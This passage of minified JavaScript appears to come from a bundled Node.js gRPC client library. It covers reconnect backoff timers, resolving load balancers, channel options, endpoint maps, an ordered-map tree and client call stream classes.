multiplier="+this.multiplier+" jitter="+this.jitter+" maxDelay="+this.maxDelay),this.nextDelay=this.initialDelay,this.timerId=setTimeout(()=>{},0),clearTimeout(this.timerId)}static getNextId(){return this.nextId++}trace(A){Lq2.trace(Cq2.LogVerbosity.DEBUG,Rq2,"{"+this.id+"} "+A)}runTimer(A){var K,q;if(this.trace("runTimer(delay="+A+")"),this.endTime=this.startTime,this.endTime.setMilliseconds(this.endTime.getMilliseconds()+A),clearTimeout(this.timerId),this.timerId=setTimeout(()=>{this.trace("timer fired"),this.running=!1,this.callback()},A),!this.hasRef)(q=(K=this.timerId).unref)===null||q===void 0||q.call(K)}runOnce(){this.trace("runOnce()"),this.running=!0,this.startTime=new Date,this.runTimer(this.nextDelay);let A=Math.min(this.nextDelay*this.multiplier,this.maxDelay),K=A*this.jitter;this.nextDelay=A+bq2(-K,K)}stop(){this.trace("stop()"),clearTimeout(this.timerId),this.running=!1}reset(){if(this.trace("reset() running="+this.running),this.nextDelay=this.initialDelay,this.running){let A=new Date,K=this.startTime;if(K.setMilliseconds(K.getMilliseconds()+this.nextDelay),clearTimeout(this.timerId),A<K)this.runTimer(K.getTime()-A.getTime());else this.running=!1}}isRunning(){return this.running}ref(){var A,K;this.hasRef=!0,(K=(A=this.timerId).ref)===null||K===void 0||K.call(A)}unref(){var A,K;this.hasRef=!1,(K=(A=this.timerId).unref)===null||K===void 0||K.call(A)}getEndTime(){return this.endTime}}BU7.BackoffTimeout=hD1;hD1.nextId=0});var bD1=v((FU7)=>{Object.defineProperty(FU7,"__esModule",{value:!0});FU7.ChildLoadBalancerHandler=void 0;var xq2=wt(),uq2=wP(),Bq2="child_load_balancer_helper";class gU7{constructor(A){this.channelControlHelper=A,this.currentChild=null,this.pendingChild=null,this.latestConfig=null,this.ChildPolicyHelper=class{constructor(K){this.parent=K,this.child=null}createSubchannel(K,q){return this.parent.channelControlHelper.createSubchannel(K,q)}updateState(K,q,Y){var z;if(this.calledByPendingChild()){if(K===uq2.ConnectivityState.CONNECTING)return;(z=this.parent.currentChild)===null||z===void 0||z.destroy(),this.parent.currentChild=this.parent.pendingChild,this.parent.pendingChild=null}else if(!this.calledByCurrentChild())return;this.parent.channelControlHelper.updateState(K,q,Y)}requestReresolution(){var K;let q=(K=this.parent.pendingChild)!==null&&K!==void 0?K:this.parent.currentChild;if(this.child===q)this.parent.channelControlHelper.requestReresolution()}setChild(K){this.child=K}addChannelzChild(K){this.parent.channelControlHelper.addChannelzChild(K)}removeChannelzChild(K){this.parent.channelControlHelper.removeChannelzChild(K)}calledByPendingChild(){return this.child===this.parent.pendingChild}calledByCurrentChild(){return this.child===this.parent.currentChild}}}configUpdateRequiresNewPolicyInstance(A,K){return A.getLoadBalancerName()!==K.getLoadBalancerName()}updateAddressList(A,K,q,Y){let z;if(this.currentChild===null||this.latestConfig===null||this.configUpdateRequiresNewPolicyInstance(this.latestConfig,K)){let w=new this.ChildPolicyHelper(this),H=(0,xq2.createLoadBalancer)(K,w);if(w.setChild(H),this.currentChild===null)this.currentChild=H,z=this.currentChild;else{if(this.pendingChild)this.pendingChild.destroy();this.pendingChild=H,z=this.pendingChild}}else if(this.pendingChild===null)z=this.currentChild;else z=this.pendingChild;return this.latestConfig=K,z.updateAddressList(A,K,q,Y)}exitIdle(){if(this.currentChild){if(this.currentChild.exitIdle(),this.pendingChild)this.pendingChild.exitIdle()}}resetBackoff(){if(this.currentChild){if(this.currentChild.resetBackoff(),this.pendingChild)this.pendingChild.resetBackoff()}}destroy(){if(this.currentChild)this.currentChild.destroy(),this.currentChild=null;if(this.pendingChild)this.pendingChild.destroy(),this.pendingChild=null}getTypeName(){return Bq2}}FU7.ChildLoadBalancerHandler=gU7});var iU7=v((cU7)=>{Object.defineProperty(cU7,"__esModule",{value:!0});cU7.ResolvingLoadBalancer=void 0;var mq2=wt(),gq2=lE6(),Bf=wP(),UU7=jS(),igA=tp(),Fq2=YjA(),iE6=K9(),Qq2=UG(),Uq2=Lw(),pq2=K9(),dq2=zP(),cq2=bD1(),lq2="resolving_load_balancer";function pU7(A){Uq2.trace(pq2.LogVerbosity.DEBUG,lq2,A)}var iq2=["SERVICE_AND_METHOD","SERVICE","EMPTY"];function nq2(A,K,q,Y){for(let z of q.name)switch(Y){case"EMPTY":if(!z.service&&!z.method)return!0;break;case"SERVICE":if(z.service===A&&!z.method)return!0;break;case"SERVICE_AND_METHOD":if(z.service===A&&z.method===K)return!0}return!1}function rq2(A,K,q,Y){for(let z of q)if(nq2(A,K,z,Y))return z;return null}function oq2(A){return{invoke(K,q){var Y,z;let w=K.split("/").filter((O)=>O.length>0),H=(Y=w[0])!==null&&Y!==void 0?Y:"",J=(z=w[1])!==null&&z!==void 0?z:"";if(A&&A.methodConfig)for(let O of iq2){let X=rq2(H,J,A.methodConfig,O);if(X)return{methodConfig:X,pickInformation:{},status:iE6.Status.OK,dynamicFilterFactories:[]}}return{methodConfig:{name:[]},pickInformation:{},status:iE6.Status.OK,dynamicFilterFactories:[]}},unref(){}}}class dU7{constructor(A,K,q,Y,z){if(this.target=A,this.channelControlHelper=K,this.channelOptions=q,this.onSuccessfulResolution=Y,this.onFailedResolution=z,this.latestChildState=Bf.ConnectivityState.IDLE,this.latestChildPicker=new igA.QueuePicker(this),this.latestChildErrorMessage=null,this.currentState=Bf.ConnectivityState.IDLE,this.previousServiceConfig=null,this.continueResolving=!1,q["grpc.service_config"])this.defaultServiceConfig=(0,gq2.validateServiceConfig)(JSON.parse(q["grpc.service_config"]));else this.defaultServiceConfig={loadBalancingConfig:[],methodConfig:[]};this.updateState(Bf.ConnectivityState.IDLE,new igA.QueuePicker(this),null),this.childLoadBalancer=new cq2.ChildLoadBalancerHandler({createSubchannel:K.createSubchannel.bind(K),requestReresolution:()=>{if(this.backoffTimeout.isRunning())pU7("requestReresolution delayed by backoff timer until "+this.backoffTimeout.getEndTime().toISOString()),this.continueResolving=!0;else this.updateResolution()},updateState:(H,J,O)=>{this.latestChildState=H,this.latestChildPicker=J,this.latestChildErrorMessage=O,this.updateState(H,J,O)},addChannelzChild:K.addChannelzChild.bind(K),removeChannelzChild:K.removeChannelzChild.bind(K)}),this.innerResolver=(0,UU7.createResolver)(A,this.handleResolverResult.bind(this),q);let w={initialDelay:q["grpc.initial_reconnect_backoff_ms"],maxDelay:q["grpc.max_reconnect_backoff_ms"]};this.backoffTimeout=new Fq2.BackoffTimeout(()=>{if(this.continueResolving)this.updateResolution(),this.continueResolving=!1;else this.updateState(this.latestChildState,this.latestChildPicker,this.latestChildErrorMessage)},w),this.backoffTimeout.unref()}handleResolverResult(A,K,q,Y){var z,w;this.backoffTimeout.stop(),this.backoffTimeout.reset();let H=!0,J=null;if(q===null)J=this.defaultServiceConfig;else if(q.ok)J=q.value;else if(this.previousServiceConfig!==null)J=this.previousServiceConfig;else H=!1,this.handleResolutionFailure(q.error);if(J!==null){let O=(z=J===null||J===void 0?void 0:J.loadBalancingConfig)!==null&&z!==void 0?z:[],X=(0,mq2.selectLbConfigFromList)(O,!0);if(X===null)H=!1,this.handleResolutionFailure({code:iE6.Status.UNAVAILABLE,details:"All load balancer options in service config are not compatible",metadata:new Qq2.Metadata});else H=this.childLoadBalancer.updateAddressList(A,X,Object.assign(Object.assign({},this.channelOptions),K),Y)}if(H)this.onSuccessfulResolution(J,(w=K[UU7.CHANNEL_ARGS_CONFIG_SELECTOR_KEY])!==null&&w!==void 0?w:oq2(J));return H}updateResolution(){if(this.innerResolver.updateResolution(),this.currentState===Bf.ConnectivityState.IDLE)this.updateState(Bf.ConnectivityState.CONNECTING,this.latestChildPicker,this.latestChildErrorMessage);this.backoffTimeout.runOnce()}updateState(A,K,q){if(pU7((0,dq2.uriToString)(this.target)+" "+Bf.ConnectivityState[this.currentState]+" -> "+Bf.ConnectivityState[A]),A===Bf.ConnectivityState.IDLE)K=new igA.QueuePicker(this,K);this.currentState=A,this.channelControlHelper.updateState(A,K,q)}handleResolutionFailure(A){if(this.latestChildState===Bf.ConnectivityState.IDLE)this.updateState(Bf.ConnectivityState.TRANSIENT_FAILURE,new igA.UnavailablePicker(A),A.details),this.onFailedResolution(A)}exitIdle(){if(this.currentState===Bf.ConnectivityState.IDLE||this.currentState===Bf.ConnectivityState.TRANSIENT_FAILURE)if(this.backoffTimeout.isRunning())this.continueResolving=!0;else this.updateResolution();this.childLoadBalancer.exitIdle()}updateAddressList(A,K){throw Error("updateAddressList not supported on ResolvingLoadBalancer")}resetBackoff(){this.backoffTimeout.reset(),this.childLoadBalancer.resetBackoff()}destroy(){this.childLoadBalancer.destroy(),this.innerResolver.destroy(),this.backoffTimeout.reset(),this.backoffTimeout.stop(),this.latestChildState=Bf.ConnectivityState.IDLE,this.latestChildPicker=new igA.QueuePicker(this),this.currentState=Bf.ConnectivityState.IDLE,this.previousServiceConfig=null,this.continueResolving=!1}getTypeName(){return"resolving_load_balancer"}}cU7.ResolvingLoadBalancer=dU7});var oU7=v((nU7)=>{Object.defineProperty(nU7,"__esModule",{value:!0});nU7.recognizedOptions=void 0;nU7.channelOptionsEqual=aq2;nU7.recognizedOptions={"grpc.ssl_target_name_override":!0,"grpc.primary_user_agent":!0,"grpc.secondary_user_agent":!0,"grpc.default_authority":!0,"grpc.keepalive_time_ms":!0,"grpc.keepalive_timeout_ms":!0,"grpc.keepalive_permit_without_calls":!0,"grpc.service_config":!0,"grpc.max_concurrent_streams":!0,"grpc.initial_reconnect_backoff_ms":!0,"grpc.max_reconnect_backoff_ms":!0,"grpc.use_local_subchannel_pool":!0,"grpc.max_send_message_length":!0,"grpc.max_receive_message_length":!0,"grpc.enable_http_proxy":!0,"grpc.enable_channelz":!0,"grpc.dns_min_time_between_resolutions_ms":!0,"grpc.enable_retries":!0,"grpc.per_rpc_retry_buffer_size":!0,"grpc.retry_buffer_size":!0,"grpc.max_connection_age_ms":!0,"grpc.max_connection_age_grace_ms":!0,"grpc-node.max_session_memory":!0,"grpc.service_config_disable_resolution":!0,"grpc.client_idle_timeout_ms":!0,"grpc-node.tls_enable_trace":!0,"grpc.lb.ring_hash.ring_size_cap":!0,"grpc-node.retry_max_attempts_limit":!0,"grpc-node.flow_control_window":!0,"grpc.server_call_metric_recording":!0};function aq2(A,K){let q=Object.keys(A).sort(),Y=Object.keys(K).sort();if(q.length!==Y.length)return!1;for(let z=0;z<q.length;z+=1){if(q[z]!==Y[z])return!1;if(A[q[z]]!==K[Y[z]])return!1}return!0}});var mf=v((Ap7)=>{Object.defineProperty(Ap7,"__esModule",{value:!0});Ap7.EndpointMap=void 0;Ap7.isTcpSubchannelAddress=rgA;Ap7.subchannelAddressEqual=xD1;Ap7.subchannelAddressToString=sU7;Ap7.stringToSubchannelAddress=eq2;Ap7.endpointEqual=A52;Ap7.endpointToString=K52;Ap7.endpointHasAddress=tU7;var aU7=CA("net");function rgA(A){return"port"in A}function xD1(A,K){if(!A&&!K)return!0;if(!A||!K)return!1;if(rgA(A))return rgA(K)&&A.host===K.host&&A.port===K.port;else return!rgA(K)&&A.path===K.path}function sU7(A){if(rgA(A))if((0,aU7.isIPv6)(A.host))return"["+A.host+"]:"+A.port;else return A.host+":"+A.port;else return A.path}var tq2=443;function eq2(A,K){if((0,aU7.isIP)(A))return{host:A,port:K!==null&&K!==void 0?K:tq2};else return{path:A}}function A52(A,K){if(A.addresses.length!==K.addresses.length)return!1;for(let q=0;q<A.addresses.length;q++)if(!xD1(A.addresses[q],K.addresses[q]))return!1;return!0}function K52(A){return"["+A.addresses.map(sU7).join(", ")+"]"}function tU7(A,K){for(let q of A.addresses)if(xD1(q,K))return!0;return!1}function ngA(A,K){if(A.addresses.length!==K.addresses.length)return!1;for(let q of A.addresses){let Y=!1;for(let z of K.addresses)if(xD1(q,z)){Y=!0;break}if(!Y)return!1}return!0}class eU7{constructor(){this.map=new Set}get size(){return this.map.size}getForSubchannelAddress(A){for(let K of this.map)if(tU7(K.key,A))return K.value;return}deleteMissing(A){let K=[];for(let q of this.map){let Y=!1;for(let z of A)if(ngA(z,q.key))Y=!0;if(!Y)K.push(q.value),this.map.delete(q)}return K}get(A){for(let K of this.map)if(ngA(A,K.key))return K.value;return}set(A,K){for(let q of this.map)if(ngA(A,q.key)){q.value=K;return}this.map.add({key:A,value:K})}delete(A){for(let K of this.map)if(ngA(A,K.key)){this.map.delete(K);return}}has(A){for(let K of this.map)if(ngA(A,K.key))return!0;return!1}clear(){this.map.clear()}*keys(){for(let A of this.map)yield A.key}*values(){for(let A of this.map)yield A.value}*entries(){for(let A of this.map)yield[A.key,A.value]}}Ap7.EndpointMap=eU7});var $p7=v((Xp7)=>{Object.defineProperty(Xp7,"t",{value:!0});class nE6{constructor(A,K,q=1){this.i=void 0,this.h=void 0,this.o=void 0,this.u=A,this.l=K,this.p=q}I(){let A=this,K=A.o.o===A;if(K&&A.p===1)A=A.h;else if(A.i){A=A.i;while(A.h)A=A.h}else{if(K)return A.o;let q=A.o;while(q.i===A)A=q,q=A.o;A=q}return A}B(){let A=this;if(A.h){A=A.h;while(A.i)A=A.i;return A}else{let K=A.o;while(K.h===A)A=K,K=A.o;if(A.h!==K)return K;else return A}}_(){let A=this.o,K=this.h,q=K.i;if(A.o===this)A.o=K;else if(A.i===this)A.i=K;else A.h=K;if(K.o=A,K.i=this,this.o=K,this.h=q,q)q.o=this;return K}g(){let A=this.o,K=this.i,q=K.h;if(A.o===this)A.o=K;else if(A.i===this)A.i=K;else A.h=K;if(K.o=A,K.h=this,this.o=K,this.i=q,q)q.o=this;return K}}class qp7 extends nE6{constructor(){super(...arguments);this.M=1}_(){let A=super._();return this.O(),A.O(),A}g(){let A=super.g();return this.O(),A.O(),A}O(){if(this.M=1,this.i)this.M+=this.i.M;if(this.h)this.M+=this.h.M}}class Yp7{constructor(A=0){this.iteratorType=A}equals(A){return this.T===A.T}}class zp7{constructor(){this.m=0}get length(){return this.m}size(){return this.m}empty(){return this.m===0}}class wp7 extends zp7{}function n5A(){throw RangeError("Iterator access denied!")}class Hp7 extends wp7{constructor(A=function(q,Y){if(q<Y)return-1;if(q>Y)return 1;return 0},K=!1){super();this.v=void 0,this.A=A,this.enableIndex=K,this.N=K?qp7:nE6,this.C=new this.N}R(A,K){let q=this.C;while(A){let Y=this.A(A.u,K);if(Y<0)A=A.h;else if(Y>0)q=A,A=A.i;else return A}return q}K(A,K){let q=this.C;while(A)if(this.A(A.u,K)<=0)A=A.h;else q=A,A=A.i;return q}L(A,K){let q=this.C;while(A){let Y=this.A(A.u,K);if(Y<0)q=A,A=A.h;else if(Y>0)A=A.i;else return A}return q}k(A,K){let q=this.C;while(A)if(this.A(A.u,K)<0)q=A,A=A.h;else A=A.i;return q}P(A){while(!0){let K=A.o;if(K===this.C)return;if(A.p===1){A.p=0;return}if(A===K.i){let q=K.h;if(q.p===1)if(q.p=0,K.p=1,K===this.v)this.v=K._();else K._();else if(q.h&&q.h.p===1){if(q.p=K.p,K.p=0,q.h.p=0,K===this.v)this.v=K._();else K._();return}else if(q.i&&q.i.p===1)q.p=1,q.i.p=0,q.g();else q.p=1,A=K}else{let q=K.i;if(q.p===1)if(q.p=0,K.p=1,K===this.v)this.v=K.g();else K.g();else if(q.i&&q.i.p===1){if(q.p=K.p,K.p=0,q.i.p=0,K===this.v)this.v=K.g();else K.g();return}else if(q.h&&q.h.p===1)q.p=1,q.h.p=0,q._();else q.p=1,A=K}}}S(A){if(this.m===1){this.clear();return}let K=A;while(K.i||K.h){if(K.h){K=K.h;while(K.i)K=K.i}else K=K.i;let Y=A.u;A.u=K.u,K.u=Y;let z=A.l;A.l=K.l,K.l=z,A=K}if(this.C.i===K)this.C.i=K.o;else if(this.C.h===K)this.C.h=K.o;this.P(K);let q=K.o;if(K===q.i)q.i=void 0;else q.h=void 0;if(this.m-=1,this.v.p=0,this.enableIndex)while(q!==this.C)q.M-=1,q=q.o}U(A){let K=typeof A==="number"?A:void 0,q=typeof A==="function"?A:void 0,Y=typeof A>"u"?[]:void 0,z=0,w=this.v,H=[];while(H.length||w)if(w)H.push(w),w=w.i;else{if(w=H.pop(),z===K)return w;Y&&Y.push(w),q&&q(w,z,this),z+=1,w=w.h}return Y}j(A){while(!0){let K=A.o;if(K.p===0)return;let q=K.o;if(K===q.i){let Y=q.h;if(Y&&Y.p===1){if(Y.p=K.p=0,q===this.v)return;q.p=1,A=q;continue}else if(A===K.h){if(A.p=0,A.i)A.i.o=K;if(A.h)A.h.o=q;if(K.h=A.i,q.i=A.h,A.i=K,A.h=q,q===this.v)this.v=A,this.C.o=A;else{let z=q.o;if(z.i===q)z.i=A;else z.h=A}A.o=q.o,K.o=A,q.o=A,q.p=1}else{if(K.p=0,q===this.v)this.v=q.g();else q.g();q.p=1;return}}else{let Y=q.i;if(Y&&Y.p===1){if(Y.p=K.p=0,q===this.v)return;q.p=1,A=q;continue}else if(A===K.i){if(A.p=0,A.i)A.i.o=q;if(A.h)A.h.o=K;if(q.h=A.i,K.i=A.h,A.i=q,A.h=K,q===this.v)this.v=A,this.C.o=A;else{let z=q.o;if(z.i===q)z.i=A;else z.h=A}A.o=q.o,K.o=A,q.o=A,q.p=1}else{if(K.p=0,q===this.v)this.v=q._();else q._();q.p=1;return}}if(this.enableIndex)K.O(),q.O(),A.O();return}}q(A,K,q){if(this.v===void 0)return this.m+=1,this.v=new this.N(A,K,0),this.v.o=this.C,this.C.o=this.C.i=this.C.h=this.v,this.m;let Y,z=this.C.i,w=this.A(z.u,A);if(w===0)return z.l=K,this.m;else if(w>0)z.i=new this.N(A,K),z.i.o=z,Y=z.i,this.C.i=Y;else{let H=this.C.h,J=this.A(H.u,A);if(J===0)return H.l=K,this.m;else if(J<0)H.h=new this.N(A,K),H.h.o=H,Y=H.h,this.C.h=Y;else{if(q!==void 0){let O=q.T;if(O!==this.C){let X=this.A(O.u,A);if(X===0)return O.l=K,this.m;else if(X>0){let $=O.I(),_=this.A($.u,A);if(_===0)return $.l=K,this.m;else if(_<0)if(Y=new this.N(A,K),$.h===void 0)$.h=Y,Y.o=$;else O.i=Y,Y.o=O}}}if(Y===void 0){Y=this.v;while(!0){let O=this.A(Y.u,A);if(O>0){if(Y.i===void 0){Y.i=new this.N(A,K),Y.i.o=Y,Y=Y.i;break}Y=Y.i}else if(O<0){if(Y.h===void 0){Y.h=new this.N(A,K),Y.h.o=Y,Y=Y.h;break}Y=Y.h}else return Y.l=K,this.m}}}}if(this.enableIndex){let H=Y.o;while(H!==this.C)H.M+=1,H=H.o}return this.j(Y),this.m+=1,this.m}H(A,K){while(A){let q=this.A(A.u,K);if(q<0)A=A.h;else if(q>0)A=A.i;else return A}return A||this.C}clear(){this.m=0,this.v=void 0,this.C.o=void 0,this.C.i=this.C.h=void 0}updateKeyByIterator(A,K){let q=A.T;if(q===this.C)n5A();if(this.m===1)return q.u=K,!0;let Y=q.B().u;if(q===this.C.i){if(this.A(Y,K)>0)return q.u=K,!0;return!1}let z=q.I().u;if(q===this.C.h){if(this.A(z,K)<0)return q.u=K,!0;return!1}if(this.A(z,K)>=0||this.A(Y,K)<=0)return!1;return q.u=K,!0}eraseElementByPos(A){if(A<0||A>this.m-1)throw RangeError();let K=this.U(A);return this.S(K),this.m}eraseElementByKey(A){if(this.m===0)return!1;let K=this.H(this.v,A);if(K===this.C)return!1;return this.S(K),!0}eraseElementByIterator(A){let K=A.T;if(K===this.C)n5A();let q=K.h===void 0;if(A.iteratorType===0){if(q)A.next()}else if(!q||K.i===void 0)A.next();return this.S(K),A}getHeight(){if(this.m===0)return 0;function A(K){if(!K)return 0;return Math.max(A(K.i),A(K.h))+1}return A(this.v)}}class Jp7 extends Yp7{constructor(A,K,q){super(q);if(this.T=A,this.C=K,this.iteratorType===0)this.pre=function(){if(this.T===this.C.i)n5A();return this.T=this.T.I(),this},this.next=function(){if(this.T===this.C)n5A();return this.T=this.T.B(),this};else this.pre=function(){if(this.T===this.C.h)n5A();return this.T=this.T.B(),this},this.next=function(){if(this.T===this.C)n5A();return this.T=this.T.I(),this}}get index(){let A=this.T,K=this.C.o;if(A===this.C){if(K)return K.M-1;return 0}let q=0;if(A.i)q+=A.i.M;while(A!==K){let Y=A.o;if(A===Y.h){if(q+=1,Y.i)q+=Y.i.M}A=Y}return q}isAccessible(){return this.T!==this.C}}class MS extends Jp7{constructor(A,K,q,Y){super(A,K,Y);this.container=q}get pointer(){if(this.T===this.C)n5A();let A=this;return new Proxy([],{get(K,q){if(q==="0")return A.T.u;else if(q==="1")return A.T.l;return K[0]=A.T.u,K[1]=A.T.l,K[q]},set(K,q,Y){if(q!=="1")throw TypeError("prop must be 1");return A.T.l=Y,!0}})}copy(){return new MS(this.T,this.C,this.container,this.iteratorType)}}class Op7 extends Hp7{constructor(A=[],K,q){super(K,q);let Y=this;A.forEach(function(z){Y.setElement(z[0],z[1])})}begin(){return new MS(this.C.i||this.C,this.C,this)}end(){return new MS(this.C,this.C,this)}rBegin(){return new MS(this.C.h||this.C,this.C,this,1)}rEnd(){return new MS(this.C,this.C,this,1)}front(){if(this.m===0)return;let A=this.C.i;return[A.u,A.l]}back(){if(this.m===0)return;let A=this.C.h;return[A.u,A.l]}lowerBound(A){let K=this.R(this.v,A);return new MS(K,this.C,this)}upperBound(A){let K=this.K(this.v,A);return new MS(K,this.C,this)}reverseLowerBound(A){let K=this.L(this.v,A);return new MS(K,this.C,this)}reverseUpperBound(A){let K=this.k(this.v,A);return new MS(K,this.C,this)}forEach(A){this.U(function(K,q,Y){A([K.u,K.l],q,Y)})}setElement(A,K,q){return this.q(A,K,q)}getElementByPos(A){if(A<0||A>this.m-1)throw RangeError();let K=this.U(A);return[K.u,K.l]}find(A){let K=this.H(this.v,A);return new MS(K,this.C,this)}getElementByKey(A){return this.H(this.v,A).l}union(A){let K=this;return A.forEach(function(q){K.setElement(q[0],q[1])}),this.m}*[Symbol.iterator](){let A=this.m,K=this.U();for(let q=0;q<A;++q){let Y=K[q];yield[Y.u,Y.l]}}}Xp7.OrderedMap=Op7});var uD1=v((Gp7)=>{Object.defineProperty(Gp7,"__esModule",{value:!0});Gp7.registerAdminService=$52;Gp7.addAdminServicesToServer=_52;var _p7=[];function $52(A,K){_p7.push({getServiceDefinition:A,getHandlers:K})}function _52(A){for(let{getServiceDefinition:K,getHandlers:q}of _p7)A.addService(K(),q())}});var Vp7=v((Mp7)=>{Object.defineProperty(Mp7,"__esModule",{value:!0});Mp7.ClientDuplexStreamImpl=Mp7.ClientWritableStreamImpl=Mp7.ClientReadableStreamImpl=Mp7.ClientUnaryCallImpl=void 0;Mp7.callErrorFromStatus=D52;var W52=CA("events"),rE6=CA("stream"),ogA=K9();function D52(A,K){let q=`${A.code} ${ogA.Status[A.code]}: ${A.details}`,z=`${Error(q).stack} for call at ${K}`;return Object.assign(Error(q),A,{stack:z})}class Zp7 extends W52.EventEmitter{constructor(){super()}cancel(){var A;(A=this.call)===null||A===void 0||A.cancelWithStatus(ogA.Status.CANCELLED,"Cancelled on client")}getPeer(){var A,K;return(K=(A=this.call)===null||A===void 0?void 0:A.getPeer())!==null&&K!==void 0?K:"unknown"}getAuthContext(){var A,K;return(K=(A=this.call)===null||A===void 0?void 0:A.getAuthContext())!==null&&K!==void 0?K:null}}Mp7.ClientUnaryCallImpl=Zp7;class Wp7 extends rE6.Readable{constructor(A){super({objectMode:!0});this.deserialize=A}cancel(){var A;(A=this.call)===null||A===void 0||A.cancelWithStatus(ogA.Status.CANCELLED,"Cancelled on client")}getPeer(){var A,K;return(K=(A=this.call)===null||A===void 0?void 0:A.getPeer())!==null&&K!==void 0?K:"unknown"}getAuthContext(){var A,K;return(K=(A=this.call)===null||A===void 0?void 0:A.getAuthContext())!==null&&K!==void 0?K:null}_read(A){var K;(K=this.call)===null||K===void 0||K.startRead()}}Mp7.ClientReadableStreamImpl=Wp7;class Dp7 extends rE6.Writable{constructor(A){super({objectMode:!0});this.serialize=A}cancel(){var A;(A=this.call)===null||A===void 0||A.cancelWithStatus(ogA.Status.CANCELLED,"Cancelled on client")}getPeer(){var A,K;return(K=(A=this.call)===null||A===void 0?void 0:A.getPeer())!==null&&K!==void 0?K:"unknown"}getAuthContext(){var A,K;return(K=(A=this.call)===null||A===void 0?void 0:A.getAuthContext())!==null&&K!==void 0?K:null}_write(A,K,q){var Y;let z={callback:q},w=Number(K);if(!Number.isNaN(w))z.flags=w;(Y=this.call)===null||Y===void 0||Y.sendMessageWithContext(z,A)}_final(A){var K;(K=this.call)===null||K===void 0||K.halfClose(),A()}}Mp7.ClientWritableStreamImpl=Dp7;class jp7 extends rE6.Duplex{constructor(A,K){super({objectMode:!0});this.serialize=A,this.deserialize=K}cancel(){var A;(A=this.call)===null||A===void 0||A.cancelWithStatus(ogA.Status.CANCELLED,"Cancelled on client")}getPeer(){var A,K;return(K=(A=this.call)===null||A===void 0?void 0:A.getPeer())!==null&&K!==void 0?K:"unknown"}getAuthContext(){var A,K;return(K=(A=this.call)===null||A===void 0?void 0:A.getAuthContext())!==null&&K!==void 0?K:null}_read(A){var K;(K=this.call)===null||K===void 0||K.startRead()}_write(A,K,q){var Y;let z={callback:q},w=Number(K);if(!Number.isNaN(w))z.flags=w;(Y=this.call)===null||Y===void 0||Y.sendMessageWithContext(z,A)}_final(A){var K;(K=this.call)===null||K===void 0||K.halfClose(),A()}}Mp7.ClientDuplexStreamImpl=jp7});var r5A=v((Np7)=>{Object.defineProperty(Np7,"__esModule",{value:!0});Np7.InterceptingListenerImpl=void 0;Np7.statusOrFromValue=N52;Np7.statusOrFromError=T52;Np7.isInterceptingListener=v52;var f52=UG();function N52(A){return{ok:!0,value:A}}function T52(A){var K;return{ok:!1,error:Object.assign(Object.assign({},A),{metadata:(K=A.metadata)!==null&&K!==void 0?K:new f52.Metadata})}}function v52(A){return A.onReceiveMetadata!==void 0&&A.onReceiveMetadata.length===1}class fp7{constructor(A,K){this.listener=A,this.nextListener=K,this.processingMetadata=!1,this.hasPendingMessage=!1,this.processingMessage=!1,this.pendingStatus=null}processPendingMessage(){if(this.hasPendingMessage)this.nextListener.onReceiveMessage(this.pendingMessage),this.pendingMessage=null,this.hasPendingMessage=!1}processPendingStatus(){if(this.pendingStatus)this.nextListener.onReceiveStatus(this.pendingStatus)}onReceiveMetadata(A){this.processingMetadata=!0,this.listener.onReceiveMetadata(A,(K)=>{this.processingMetadata=!1,this.nextListener.onReceiveMetadata(K),this.processPendingMessage(),this.processPendingStatus()})}onReceiveMessage(A){this.processingMessage=!0,this.listener.onReceiveMessage(A,(K)=>{if(this.processingMessage=!1,this.processingMetadata)this.pendingMessage=K,this.hasPendingMessage=!0;else this.nextListener.onReceiveMessage(K),this.processPendingStatus()})}onReceiveStatus(A){this.listener.onReceiveStatus(A,(K)=>{if(this.processingMetadata||this.processingMessage)this.pendingStatus=K;else this.nextListener.onReceiveStatus(K)})}}Np7.InterceptingListenerImpl=fp7});var sE6=v((Sp7)=>{Object.defineProperty(Sp7,"__esModule",{value:!0});Sp7.InterceptingCall=Sp7.RequesterBuilder=Sp7.ListenerBuilder=Sp7.InterceptorConfigurationError=void 0;Sp7.getInterceptingCall=I52;var L52=UG(),vp7=r5A(),Ep7=K9(),kp7=ND1();class sgA extends Error{constructor(A){super(A);this.name="InterceptorConfigurationError",Error.captureStackTrace(this,sgA)}}Sp7.InterceptorConfigurationError=sgA;class Cp7{constructor(){this.metadata=void 0,this.message=void 0,this.status=void 0}withOnReceiveMetadata(A){return this.metadata=A,this}withOnReceiveMessage(A){return this.message=A,this}withOnReceiveStatus(A){return this.status=A,this}build(){return{onReceiveMetadata:this.metadata,onReceiveMessage:this.message,onReceiveStatus:this.status}}}Sp7.ListenerBuilder=Cp7;class Lp7{constructor(){this.start=void 0,this.message=void 0,this.halfClose=void 0,this.cancel=void 0}withStart(A){return this.start=A,this}withSendMessage(A){return this.message=A,this}withHalfClose(A){return this.halfClose=A,this}withCancel(A){return this.cancel=A,this}build(){return{start:this.start,sendMessage:this.message,halfClose:this.halfClose,cancel:this.cancel}}}Sp7.RequesterBuilder=Lp7;var oE6={onReceiveMetadata:(A,K)=>{K(A)},onReceiveMessage:(A,K)=>{K(A)},onReceiveStatus:(A,K)=>{K(A)}},agA={start:(A,K,q)=>{q(A,K)},sendMessage:(A,K)=>{K(A)},halfClose:(A)=>{A()},cancel:(A)=>{A()}};class Rp7{constructor(A,K){var q,Y,z,w;if(this.nextCall=A,this.processingMetadata=!1,this.pendingMessageContext=null,this.processingMessage=!1,this.pendingHalfClose=!1,K)this.requester={start:(q=K.start)!==null&&q!==void 0?q:agA.start,sendMessage:(Y=K.sendMessage)!==null&&Y!==void 0?Y:agA.sendMessage,halfClose:(z=K.halfClose)!==null&&z!==void 0?z:agA.halfClose,cancel:(w=K.cancel)!==null&&w!==void 0?w:agA.cancel};else this.requester=agA}cancelWithStatus(A,K){this.requester.cancel(()=>{this.nextCall.cancelWithStatus(A,K)})}getPeer(){return this.nextCall.getPeer()}processPendingMessage(){if(this.pendingMessageContext)this.nextCall.sendMessageWithContext(this.pendingMessageContext,this.pendingMessage),this.pendingMessageContext=null,this.pendingMessage=null}processPendingHalfClose(){if(this.pendingHalfClose)this.nextCall.halfClose()}start(A,K){var q,Y,z,w,H,J;let O={onReceiveMetadata:(Y=(q=K===null||K===void 0?void 0:K.onReceiveMetadata)===null||q===void 0?void 0:q.bind(K))!==null&&Y!==void 0?Y:(X)=>{},onReceiveMessage:(w=(z=K===null||K===void 0?void 0:K.onReceiveMessage)===null||z===void 0?void 0:z.bind(K))!==null&&w!==void 0?w:(X)=>{},onReceiveStatus:(J=(H=K===null||K===void 0?void 0:K.onReceiveStatus)===null||H===void 0?void 0:H.bind(K))!==null&&J!==void 